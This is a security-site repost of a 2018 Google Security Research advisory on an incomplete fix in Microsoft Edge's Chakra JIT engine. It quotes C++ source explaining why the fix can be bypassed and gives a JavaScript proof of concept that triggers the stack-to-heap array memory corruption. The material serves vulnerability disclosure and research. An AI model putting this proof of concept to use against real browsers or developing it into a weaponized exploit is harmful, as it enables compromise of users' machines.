首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Edge Chakra JIT - Stack-to-Heap Copy (Incomplete Fix)
来源:Google Security Research 作者:Google 发布时间:2018-04-04  
/*
Here's a snippet of JavascriptArray::BoxStackInstance. To fix  issue 1420 , "deepCopy" was introduced. But it only deep-copies the array when "instance->head" is on the stack. So simply by adding a single line of code that allocates "head" to the heap, we can bypass the fix.
 
    template <typename T>
    T * JavascriptArray::BoxStackInstance(T * instance, bool deepCopy)
    {
        Assert(ThreadContext::IsOnStack(instance));
        // On the stack, the we reserved a pointer before the object as to store the boxed value
        T ** boxedInstanceRef = ((T **)instance) - 1;
        T * boxedInstance = *boxedInstanceRef;
        if (boxedInstance)
        {
            return boxedInstance;
        }
 
        const size_t inlineSlotsSize = instance->GetTypeHandler()->GetInlineSlotsSize();
        if (ThreadContext::IsOnStack(instance->head))
        {
            boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(),
                inlineSlotsSize + sizeof(Js::SparseArraySegmentBase) + instance->head->size * sizeof(typename T::TElement),
                T, instance, true, deepCopy);
        }
        else if(inlineSlotsSize)
        {
            boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(), inlineSlotsSize, T, instance, false, false);
        }
        else
        {
            boxedInstance = RecyclerNew(instance->GetRecycler(), T, instance, false, false);
        }
 
        *boxedInstanceRef = boxedInstance;
        return boxedInstance;
    }
 
PoC:
*/
 
function inlinee() {
    return inlinee.arguments[0];
}
 
function opt(convert_to_var_array) {
    /*
    To make the in-place type conversion happen, it requires to segment.
    */
 
    let stack_arr = [];
 
    // Allocate stack_ar->head to the heap
    stack_arr[20] = 1.1;
 
    stack_arr[10000] = 1.1;
    stack_arr[20000] = 2.2;
 
    let heap_arr = inlinee(stack_arr);
    convert_to_var_array(heap_arr);
 
    stack_arr[10000] = 2.3023e-320;
 
    return heap_arr[10000];
}
 
function main() {
    for (let i = 0; i < 10000; i++)
        opt(new Function(''));  // Prevents to be inlined
 
    print(opt(heap_arr => {
        heap_arr[10000] = {};  // ConvertToVarArray
    }));
}
 
main();
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Google Chrome V8 - 'Genesis::I
·Microsoft Edge Chakra JIT - St
·Google Chrome V8 - 'ElementsAc
·Moxa AWK-3131A 1.4 < 1.7 - 'Us
·Nginx 1.13.10 Accept-Encoding
·DuckDuckGo 4.2.0 WebRTC Privat
·glibc LD_AUDIT libmemusage.so
·ProcessMaker Plugin Code Execu
·Faleemi Windows Desktop Softwa
·Microsoft Windows - Multiple U
·Vtiger CRM 6.3.0 - Authenticat
·Sophos Endpoint Protection 10.
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved